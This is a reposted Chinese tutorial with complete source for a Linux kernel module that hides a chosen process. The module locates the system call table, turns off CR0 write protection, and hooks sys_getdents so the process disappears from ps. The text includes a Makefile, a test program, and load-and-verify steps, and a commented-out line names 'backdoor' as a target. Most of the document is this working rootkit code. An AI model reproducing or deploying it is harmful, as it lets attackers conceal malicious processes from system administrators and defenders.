实现隐藏进程一般有两个方法：
1，把要隐藏的进程PID设置为0，因为系统默认是不显示PID为0的进程。
2，修改系统调用sys_getdents（）。
Linux系统中用来查询文件信息的系统调用是sys_getdents，这一点可以通过strace来观察到，例如strace ls 将列出命令ls用到的系统调用，从中可以发现ls是通过getdents系统调用来操作的，对应于内核里的sys_getedents来执行。当查询文件或者目录的相关信息时，Linux系统用 sys_getedents来执行相应的查询操作，并把得到的信息传递给用户空间运行的程序，所以如果修改该系统调用，去掉结果中与某些特定文件的相关信 息，那么所有利用该系统调用的程序将看不见该文件，从而达到了隐藏的目的。首先介绍一下原来的系统调用，其原型为：
int sys_getdents(unsigned int fd, struct dirent *dirp,unsigned int count)
其中fd为指向目录文件的文件描述符，该函数根据fd所指向的目录文件读取相应dirent结构，并放入dirp中，其中count为dirp中返回的数据量，正确时该函数返回值为填充到dirp的字节数
下面是具体的实现代码：
hidep.c
1 /*
2 进程隐藏程序
3 */
4 #include <linux/module.h>
5 #include <linux/kernel.h>
6 #include <asm/unistd.h>
7 #include <linux/types.h>
8 #include <linux/sched.h>
9 #include <linux/dirent.h>//目录文件结构
10 #include <linux/string.h>
11 #include <linux/file.h>
12 #include <linux/fs.h>
13 #include <linux/list.h>
14 #include <asm/uaccess.h>
15 #include <linux/unistd.h>
18 #define CALLOFF 100
19 int orig_cr0;
20 char psname[10]="just";//需要隐藏的进程名
21 //char psname[10]="backdoor";
22 char *processname=psname;
23
24 //module_param(processname, charp, 0);
25 struct {
26 unsigned short limit;
27 unsigned int base;
28 } __attribute__ ((packed)) idtr;//__attribute__ ((packed))不需要内存对齐的优化
29
30 struct {
31 unsigned short off1;
32 unsigned short sel;
33 unsigned char none,flags;
34 unsigned short off2;
35 } __attribute__ ((packed)) * idt;
36
37 struct linux_dirent{//文件结构体
38 unsigned long d_ino;//索引节点号
39 unsigned long d_off;//在目录文件中的偏移
40 unsigned short d_reclen;//文件名长
41 char d_name[1];//文件名
42 };
43
44 void** sys_call_table;
45
46 unsigned int clear_and_return_cr0(void)//设置CR0，取消写保护位，因为在较新的内核中，sys_call_table的内存是只读的，
47 //所以要修改系统调用表就必须设置CR0
48 {
49 unsigned int cr0 = 0;
50 unsigned int ret;
51
52 asm volatile ("movl %%cr0, %%eax"
53 : "=a"(cr0)//eax到cr0
54 );
55 ret = cr0;//
56
57 /*clear the 16th bit of CR0,*/
58 cr0 &= 0xfffeffff;//设置CR0，第16位，WP（Write Protect）,它控制是否允许处理器向标志为只读属性的内存页写入数据,
59 //0时表示禁用写保护功能
60 asm volatile ("movl %%eax, %%cr0"
61 :
62 : "a"(cr0)//输入，cr0到eax，eax到cr0
63 );
64 return ret;
65 }
66
67 void setback_cr0(unsigned int val)
68 {
69 asm volatile ("movl %%eax, %%cr0"
70 :
71 : "a"(val)//val值给eax，eax的值给CR0,恢复写保护位
72 );
73 }
74
75
76 asmlinkage long (*orig_getdents)(unsigned int fd,
77 struct linux_dirent __user *dirp, unsigned int count);
78
79 char * findoffset(char *start)//遍历sys_call代码，查找sys_call_table的地址
80 { //也可以通过cat /boot/System.map-`uname -r` |grep sys_call_table 查看当前sys_call_table地址
81 char *p;
82 for (p = start; p < start + CALLOFF; p++)
83 if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')//寻找call指令
84 return p;
85 return NULL;
86 }
87
88 int myatoi(char *str)//字符串转整型
89 {
90 int res = 0;
91 int mul = 1;
92 char *ptr;
93 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
94 {
95 if (*ptr < '0' || *ptr > '9')
96 return (-1);
97 res += (*ptr - '0') * mul;
98 mul *= 10;
99 }
100 if(res>0 && res< 9999)
101 printk(KERN_INFO "pid=%d,",res);
102 printk("\n");
103 return (res);
104 }
105
106 struct task_struct *get_task(pid_t pid)//遍历进程双向循环链表，根据PID，查找需要隐藏的进程，并返回该进程控制块
107 {
108 struct task_struct *p = get_current(),*entry=NULL;
109 list_for_each_entry(entry,&(p->tasks),tasks)
110 {
111 if(entry->pid == pid)
112 {
113 printk("pid found=%d\n",entry->pid);
114 return entry;
115 }
116 else
117 {
118 // printk(KERN_INFO "pid=%d not found\n",pid);
119 }
120 }
121 return NULL;
122 }
123
124 static inline char *get_name(struct task_struct *p, char *buf)//获取进程名
125 {
126 int i;
127 char *name;
128 name = p->comm;
129 i = sizeof(p->comm);
130 do {
131 unsigned char c = *name;
132 name++;
133 i--;
134 *buf = c;
135 if (!c)
136 break;
137 if (c == '\\') {
138 buf[1] = c;
139 buf += 2;
140 continue;
141 }
142 if (c == '\n')
143 {
144 buf[0] = '\\';
145 buf[1] = 'n';
146 buf += 2;
147 continue;
148 }
149 buf++;
150 }
151 while (i);
152 *buf = '\n';
153 return buf + 1;
154 }
155
156 int get_process(pid_t pid)//判断是否找到隐藏进程
157 {
158 struct task_struct *task = get_task(pid);
159 // char *buffer[64] = {0};
160 char buffer[64];
161 if (task)
162 {
163 get_name(task, buffer);
164 // if(pid>0 && pid<9999)
165 // printk(KERN_INFO "task name=%s\n",*buffer);
166 if(strstr(buffer,processname))
167 return 1;
168 else
169 return 0;
170 }
171 else
172 return 0;
173 }
174
175 asmlinkage long hacked_getdents(unsigned int fd,
176 struct linux_dirent __user *dirp, unsigned int count)//修改的系统调用，替换原来的sys_getdents
177 {
178 //added by lsc for process
179 long value;
180 // struct inode *dinode;
181 unsigned short len = 0;
182 unsigned short tlen = 0;
183 // struct linux_dirent *mydir = NULL;
184 //end
185 value = (*orig_getdents) (fd, dirp, count);//调用sys_getdents,返回该目录文件下目录的总字节数
186 tlen = value;
187 while(tlen > 0)
188 {
189 len = dirp->d_reclen;//当前遍历的目录的长度
190 tlen = tlen - len;
191 printk("%s\n",dirp->d_name);
192
193 if(get_process(myatoi(dirp->d_name)) )
194 {
195 printk("find process\n");
196 memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);//覆盖掉需要隐藏的进程
197 value = value - len;
198 printk(KERN_INFO "hide successful.\n");
199 }
200 if(tlen)
201 dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//移到后面一个目录，继续查找是否有其他同名的需要隐藏的进程
202 }
203 printk(KERN_INFO "finished hacked_getdents.\n");
204 return value;
205 }
206
207
208 void **get_sct_addr(void)
209 {
210 unsigned sys_call_off;
211 unsigned sct = 0;
212 char *p;
213 asm("sidt %0":"=m"(idtr));//获取中断描述符表地址
214 idt = (void *) (idtr.base + 8 * 0x80);//通过0x80中断找到system_call的服务例程描述符项，一个中断描述符8个字节
215 sys_call_off = (idt->off2 << 16) | idt->off1;//找到对应的system_call代码地址
216 if ((p = findoffset((char *) sys_call_off)))//找到sys_call_table的地址
217 sct = *(unsigned *) (p + 3);
218 return ((void **)sct);
219 }
220
221
222 static int filter_init(void)
223 {
224 sys_call_table = get_sct_addr();
225 if (!sys_call_table)
226 {
227 printk("get_act_addr(): NULL...\n");
228 return 0;
229 }
230 else
231 printk("sct: 0x%x\n", (unsigned int)sys_call_table);
232 orig_getdents = sys_call_table[__NR_getdents];//保存原来的系统调用
233
234 orig_cr0 = clear_and_return_cr0();//取消写保护位，并且返回原来的cr0
235 sys_call_table[__NR_getdents] = hacked_getdents;//替换成我们自己写的系统调用
236 setback_cr0(orig_cr0);
237 printk(KERN_INFO "hideps: module loaded.\n");
238 return 0;
239 }
240
241
242 static void filter_exit(void)
243 {
244 orig_cr0 = clear_and_return_cr0();
245 if (sys_call_table)
246 sys_call_table[__NR_getdents] = orig_getdents;//恢复默认的系统调用
247 setback_cr0(orig_cr0);
248 printk(KERN_INFO "hideps: module removed\n");
249 }
250 module_init(filter_init);
251 module_exit(filter_exit);
252 MODULE_LICENSE("GPL");对应的makefile：
1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
2 PWD:=$(shell pwd)
3 obj-m :=hidep.o
4 modules:
5 $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
6 clean:
7 rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers对应的测试程序，即要隐藏的进程: just.c
1 #include<stdio.h>
2 int main()
3 {
4 while(1);
5 return 0;
6 }1,编译并在后台运行程序 just.c,会发现内核给just.c随机分配了一个PID
2，此时 用ps 命令，可以清楚看到 程序just的PID。
2,编译hidep.c 生成模块hide.ko
3,把模块hide.ko,用命令 insmod 加载进内核
4，再次 用 ps 命令，发现之前的PID被隐藏
5，最后不要忘了rmmod掉hidep.ko,当然重启后内核也会把它丢了，不过最好养成不用就卸载掉的习惯。
本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。
